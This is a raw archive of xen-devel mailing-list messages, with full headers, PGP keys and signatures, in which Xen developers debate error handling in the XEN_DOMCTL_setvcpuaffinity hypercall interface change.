Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7K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 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------HTmg45iY3L0oWX3104aCGoDR
Content-Type: multipart/mixed; boundary="------------WV3QJ1Fy8BP7zTnoNfE9r9gT"

--------------WV3QJ1Fy8BP7zTnoNfE9r9gT
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMDIuMDcuMjYgMDc6NTQsIEphbiBCZXVsaWNoIHdyb3RlOg0KPiBPbiAwMS4wNy4yMDI2
IDE3OjM0LCBKdWVyZ2VuIEdyb3NzIHdyb3RlOg0KPj4gT24gMDEuMDcuMjYgMTM6MzksIEph
biBCZXVsaWNoIHdyb3RlOg0KPj4+IE9uIDAxLjA3LjIwMjYgMTM6MTYsIEp1ZXJnZW4gR3Jv
c3Mgd3JvdGU6DQo+Pj4+IFRvZGF5IHRoZSBYRU5fRE9NQ1RMX3NldHZjcHVhZmZpbml0eSBo
eXBlcmNhbGwgd2lsbCBub3Qgb25seSBjaGFuZ2UgdGhlDQo+Pj4+IGFmZmluaXR5IHNldHRp
bmdzIG9mIGEgdmNwdSwgaXQgd2lsbCByZXR1cm4gdGhlIG5ldyBlZmZlY3RpdmUgc2V0dGlu
Z3MsDQo+Pj4+IHRvby4NCj4+Pj4NCj4+Pj4gSW4gY2FzZSBhbiBlcnJvciBoYXBwZW5zIGR1
cmluZyB0aGlzIGh5cGVyY2FsbCwgdGhlIGV4cGVjdGF0aW9uIG9mIHRoZQ0KPj4+PiBjYWxs
ZXIgaXMgdGhhdCB0aGUgYWZmaW5pdHkgb2YgdGhlIHZjcHUgZGlkbid0IGNoYW5nZS4gVGhp
cyBpc24ndCB0cnVlLA0KPj4+PiBob3dldmVyLCBpZiBwYXNzaW5nIHRoZSBuZXcgZWZmZWN0
aXZlIGFmZmluaXR5IGJhY2sgdG8gdGhlIHVzZXIgaXMNCj4+Pj4gZmFpbGluZy4NCj4+Pg0K
Pj4+IFRoYXQnbGwgYmUgdGhlIGNhbGxlcidzIGZhdWx0IHRob3VnaC4gQW55IC1FRkFVTFQg
Y29taW5nIGJhY2sgYXJlIGFuDQo+Pj4gaW5kaWNhdGlvbiB0aGF0IHRoZSBjYWxsZXIgbmVl
ZHMgZml4aW5nLg0KPj4NCj4+IFRoZSBwb3NzaWJsZSAtRU5PTUVNIGlzbid0IHRoZSBjYWxs
ZXJzIGZhdWx0LCB0aG91Z2guDQo+IA0KPiBZZXQgdGhhdCdsbCBoYXBwZW4gYWhlYWQgb2Yg
YW55IGNoYW5nZXMgbWFkZSwgd29uJ3QgaXQ/DQoNCk5vLCBpdCBjYW4gaGFwcGVuIGR1cmlu
ZyB0aGUgZmluYWwgY2FsbCBvZiBjcHVtYXNrX3RvX3hlbmN0bF9iaXRtYXAoKS4NCg0KDQpK
dWVyZ2VuDQo=
--------------WV3QJ1Fy8BP7zTnoNfE9r9gT
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3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3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------WV3QJ1Fy8BP7zTnoNfE9r9gT--

--------------HTmg45iY3L0oWX3104aCGoDR--

--------------etd25evpDdQmLPDZlUIjD9CZ
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpGAYoFAwAAAAAACgkQsN6d1ii/Ey9h
MQf9GowKmbhWx48r2RY7a2Yv/72UdzSbjGlceufQ7u4sSqpF2tsXwO+h3J8+nQqqZK22zBdpeD2G
pYUI0ItPfPqwFBNXI9jrNQgz9UIs9QypqA4fCSmn5ogYtKgfAcE4r696OlU6GHTz72bEhhDuS7G+
IwghPjJkT3QpMokUcd7/arhGr/VU29eBBLvpxSAVp/Jmny9daCssGDfwwwr0lm6o+KP/oyu2TuU5
VW3eNKJFGelS/r20tNvDqPEQTJTggSXg203gXZ1VdrQ9j2rAEFETHP2PR0n2+hQg3+Jxm/xFvln4
3YDhXYsVHIXfXvzhHuMH3LIg/XLtV2uo2OX4tS3YRA==
=HmVZ
-----END PGP SIGNATURE-----

--------------etd25evpDdQmLPDZlUIjD9CZ--


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 06:26:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 06:26:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351236.1608457 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAry-0007e9-4z; Thu, 02 Jul 2026 06:25:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351236.1608457; Thu, 02 Jul 2026 06:25:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAry-0007e2-2N; Thu, 02 Jul 2026 06:25:54 +0000
Received: by outflank-mailman (input) for mailman id 1351236;
 Thu, 02 Jul 2026 06:25:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfArw-0007dv-MU
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 06:25:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfArv-0069M8-Hz
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:25:51 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a460464-bab6-0a2a0a5309dd-0a2a450cb8d6-38
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:25:51 +0200
Received: from [209.85.128.45] (helo=mail-wm1-f45.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46046f-f399-0a2a450c0019-d155802dd8c0-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:25:51 +0200
Received: by mail-wm1-f45.google.com with SMTP id
 5b1f17b1804b1-493b786d6c0so7052115e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:25:51 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c636cc08sm25751895e9.11.2026.07.01.23.25.50
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 23:25:50 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782973551; x=1783578351; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=Bh+uU93M/cZqqz8CprtfE0r0tVxMNI51TmT2A6VaeTE=;
        b=XiIL6OfSjXukQabhXDIwPXUVFQP+EMETF04+uXOXG/jsm+RkNFVQDj0SH1M/HLmGs7
         U53xlo140dnbjFrGSBy1WJk6C/UziFHj4J6qTKaPaADh7JXG/NAdkfgqfPBWTwszDE7i
         WR7EiAyHefbVoDpwEq1dVmRvAPK2pisYjUbMSYR2rnpnwHSth1L0T/tFuGY7slf2QD7b
         Oapja6Jiog8QnvhIaUlwyZGQ+1x5j9TUO64UiqfF2Xs84tvkFQDeMtcbMuIyAMFTmsXb
         rskZam/5Y9wNCkIWurt2z8WoAxJNkZ3MFkcEkT0xMh6VuJBkq4yDwj1+ZkkDMLJonVbs
         mG2w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782973551; x=1783578351;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=Bh+uU93M/cZqqz8CprtfE0r0tVxMNI51TmT2A6VaeTE=;
        b=NsLScLieR6Vz4yAPPWtuHtXsUQDXyeJOkbehM5EDyTi0tEqyfEtfzXREo9yg6L8WpO
         2MEjrs+J+H4+h/vK+tkubm5XUcURrqKjnU4xu7jb/KUiQlATUloAEPJLDfNbBxidWbqQ
         iKzhX0RaysEW3mxMFhKpbqqX+R/6bKevd/RF6EsiZJ2h4jACJ0CDca357WLBDj0uKZPH
         HbdFX3cScIcCRBqw5gPf0SEtA0f5fa6tWPk9mAzaY6Pl0cgnPRh4XQIe3VoxoW27Fggh
         tzFAxmZxdPcfCVGkFDRi8Fv503xZOBAD9VR5UpX1J6yrA5tpWtTpxghWdSM/xyfXoBsS
         RCtQ==
X-Forwarded-Encrypted: i=1; AFNElJ81b6ThQhWBsXlBILlVMxpgMrm6vH8iCFEg5mgiIqLsK0qR3IpoukUmGaRouWpuTMX6Vj/isM1qoc0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwFV2qBAt1kGd2ZZht0m57fZ2qfa0TSnF7nptToUORgPogWYBkw
	J0XraSpzUeF2g05hKLwRj3iKLuqvijpuTcUHXmVgs1swYaj1u2kwDV/L2qtHSvIvCQ==
X-Gm-Gg: AfdE7cnjHrc2qKg7fDQZPLmvcc/9rEjBrgbo0B91iaS8qzoR5qdUVNdk44lUVNLCUZU
	oB45F+W+w34GdUJKK7h57x9rwcF4OZiQ076jy3M/ZlHuN0wGpTC8aOdZQ2Tk5H9N8yKQfrLUOHZ
	pEqu+cUf7z91FHw+1Rxgcuhr2QVU/UdOUnaLBWGH6unqhb4cFeg1gYzGJ8ihQMHdS4tzNKC1HxZ
	omQ5dnF/IGowDJyvAAjGBp+yOHZ0HzgAWYcYS0LOgD1IqhHHCBaAeOXW5zK0Udfa07M7n/4ckHq
	L9LQgdR0dy+Hmtrb7ao68GGtCYeKuaY8DSvrsOHSayoqawz/0wN9GUYYOc5BuWSbF/O5Jg+nasK
	WVW2oSEeJ2vJFaikytwXl5yBZsKV81ONZkRCxfe3ONddF4ku17/B1EpHf1IQYInURTfQjTP5tly
	5d3UqofWro1pFSPl7hOxfSIku/dDdu9tBIHfwWxLYpKNkE5y61nqoGk5U5Iyw/4TulFcqZMJdql
	P+l
X-Received: by 2002:a05:600c:5851:b0:492:1e7f:d41e with SMTP id 5b1f17b1804b1-493c2b4e778mr50333285e9.10.1782973550953;
        Wed, 01 Jul 2026 23:25:50 -0700 (PDT)
Message-ID: <158eeb93-dec9-4805-98c6-3ea84b235d94@suse.com>
Date: Thu, 2 Jul 2026 08:25:49 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: =?UTF-8?B?SsO8cmdlbiBHcm/Dnw==?= <jgross@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
 <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
 <72ffe654-8ba0-403c-91e0-100905467970@suse.com>
Content-Language: en-US
From: Jan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8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <72ffe654-8ba0-403c-91e0-100905467970@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1782973551-91128D51-8D30E5E2/0/0
X-purgate-type: clean
X-purgate-size: 1153

On 02.07.2026 08:13, JÃ¼rgen GroÃŸ wrote:
> On 02.07.26 07:54, Jan Beulich wrote:
>> On 01.07.2026 17:34, Juergen Gross wrote:
>>> On 01.07.26 13:39, Jan Beulich wrote:
>>>> On 01.07.2026 13:16, Juergen Gross wrote:
>>>>> Today the XEN_DOMCTL_setvcpuaffinity hypercall will not only change the
>>>>> affinity settings of a vcpu, it will return the new effective settings,
>>>>> too.
>>>>>
>>>>> In case an error happens during this hypercall, the expectation of the
>>>>> caller is that the affinity of the vcpu didn't change. This isn't true,
>>>>> however, if passing the new effective affinity back to the user is
>>>>> failing.
>>>>
>>>> That'll be the caller's fault though. Any -EFAULT coming back are an
>>>> indication that the caller needs fixing.
>>>
>>> The possible -ENOMEM isn't the callers fault, though.
>>
>> Yet that'll happen ahead of any changes made, won't it?
> 
> No, it can happen during the final call of cpumask_to_xenctl_bitmap().

Only hypothetically, on a big-endian architecture (which we don't currently
have support for anywhere, hence why the little endian special case was
added there).

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 06:31:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 06:31:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351245.1608468 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAww-0000jk-O5; Thu, 02 Jul 2026 06:31:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351245.1608468; Thu, 02 Jul 2026 06:31:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfAww-0000jd-JO; Thu, 02 Jul 2026 06:31:02 +0000
Received: by outflank-mailman (input) for mailman id 1351245;
 Thu, 02 Jul 2026 06:31:01 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wfAwv-0000jX-Al
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 06:31:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfAwu-006AKK-JA
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:31:00 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4605a4-bab6-0a2a0a5309dd-0a2a4504b214-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:31:00 +0200
Received: from [209.85.208.49] (helo=mail-ed1-f49.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4605a4-a01d-0a2a45040019-d155d031e02f-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 08:31:00 +0200
Received: by mail-ed1-f49.google.com with SMTP id
 4fb4d7f45d1cf-6974a6e54dbso2388087a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 23:31:00 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-698acf2960dsm445491a12.9.2026.07.01.23.30.59
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 23:30:59 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782973860; x=1783578660; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=IUIV0ytVqQJb6XNbxSnlM4HZI+CzawlU1i/LZDdxXxk=;
        b=Gc701dSuvswOLoJD/k9qqDJKAiWVmJ32v/uydmQoIegO7xBNaQ6XfFKfrpWZ5y94vK
         BgLyzO96QUqqbqXExU/RXmCjvDgutsd4toDXhS6A2uUEhfPMFucYlKhaosSJNt9Yvy15
         oN88x/RzY4zUdU5WTYfAoH5ZiaKwchh15qszFSQiFpraVgxvI4gvnc73ZCSpgnn10ELW
         Yjg6mZ2y5HPDYPJvl4gRI6E+NLznkl+sl4DCVEHxp3+GDgY5DxIQDo7XQIQZwFKJeBGm
         uVKksdXPB/BFw6fFaK/s062DcjCBgPXjI8KZRrTKH2xvUFcHuburrARSDbKvqN0nh0M7
         p2fg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782973860; x=1783578660;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=IUIV0ytVqQJb6XNbxSnlM4HZI+CzawlU1i/LZDdxXxk=;
        b=Uaf0tyoLKwbYLSs2jr1r7TxR4627I+CnXPgvUDbdywxVhZzoyClCIJxCAs9Ruwc/ms
         7tFx7bsHfltzIr0ir9AAOwZbt2puVyhscEsE7ILRZhIFJf7sfcGLggwPW/gg9tDupSq1
         hh/Y2YzVJGv22B2OeI+YSPgZ3EvuSPnm5KvzSZSf76G8SkBzIkDK09Ucrqh/znieMdiy
         GP7Tb1AynG/Dry19ZmmzQqxPjDHSpczNuILlYf3I4wtxneAcxAOnXDMy3rjB82Sn30LZ
         emRTVdHdepjgFQubisGpWd/6kKLC8j20bPX6GpJZ7NHOgJ81Neh0XzpHTycJ7XnVSNUD
         yANw==
X-Forwarded-Encrypted: i=1; AHgh+RofAWR4qHzXkGJ4Axs4FPO1pX464PA+2tLP5d+Qy5fpWKiVmPmQjzDgpaksKae8FKg6Dxli63D7kKo=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzHMUi+bED70J1mSUPWDyHvY/C5BiGRjZMcYcWvjIO5hqZtO+jt
	M1VTPdudxmnua9CH0bOfgngTuHUyPa9o7e8wSooIfQlR6OFmGXUIWU/3e0OArv9GyT4=
X-Gm-Gg: AfdE7clqYgHcYG/BgFB0HKf20mH5rSe/pVyzxLRPgPel0+kf1a8Kv4nIM+nbBAOM0pr
	rw/oKMXTHs3nDtFVeJ5Y36F8GSDWHFFzfHWQ8WGCiHtanYk3cCLbFTI4bAlZaj+RrmGSkUGjWdQ
	5/Jd9twNTKgcHfbUP53BBAQp6IC0c/MjoPGs5rgzIXvGJqaiTBRtj2TscQBcmRZ5CfxlpLshfBm
	GQbRoUuFyGfhRjhTGFChEwTwyPwVzDcD0DaflrkjD/BIHzOO4ggpq21hb22jcjtXkxmTk/jOFxo
	vZTCY7iw2uFm+TaMDGtNQ/kDjbvX+NLHlXO0koFXm3jmZzb+JkA8GuuHy6Hc8ZLuI3fML23op7t
	JAJ24cdY96qSouckudIxT8Xweh0jFWrmYxyP91ZXLe4IOjNyAhZu/mRU4tQjVjzwWHyW5e+KK0s
	RkjiJYtBsPzJYP8Y/31xwHpd4KpGIpCIBHKNI0iG1HV9z3Koah31VoI6kmxBuNXTgIvBG2k+Kzu
	QqL1O2TA1f6IJGw7X83aDFGrqd1LzVksU2lfN2TOSo=
X-Received: by 2002:aa7:d606:0:b0:698:3b7b:e48e with SMTP id 4fb4d7f45d1cf-698a2cfd9fdmr1245352a12.36.1782973859976;
        Wed, 01 Jul 2026 23:30:59 -0700 (PDT)
Message-ID: <31d0241a-6c08-494d-8361-e03a75bdac6f@suse.com>
Date: Thu, 2 Jul 2026 08:30:59 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
 <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
 <72ffe654-8ba0-403c-91e0-100905467970@suse.com>
 <158eeb93-dec9-4805-98c6-3ea84b235d94@suse.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh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NH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <158eeb93-dec9-4805-98c6-3ea84b235d94@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------Y1anXJiAzC9XM6ECLdW7B8LM"
X-purgate-ID: tlsNG-ebf023/1782973860-AEF2D1CC-A771F0B7/0/0
X-purgate-type: clean
X-purgate-size: 9705

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------Y1anXJiAzC9XM6ECLdW7B8LM
Content-Type: multipart/mixed; boundary="------------mJGr08yb975hK531mj5qNe7w";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Message-ID: <31d0241a-6c08-494d-8361-e03a75bdac6f@suse.com>
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
 <d7da5a56-3d65-403c-9c3c-19e1566d2839@suse.com>
 <0c888832-9509-4e14-977c-ff1dc37768f3@suse.com>
 <72ffe654-8ba0-403c-91e0-100905467970@suse.com>
 <158eeb93-dec9-4805-98c6-3ea84b235d94@suse.com>
In-Reply-To: <158eeb93-dec9-4805-98c6-3ea84b235d94@suse.com>
Autocrypt-Gossip: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Y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AwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
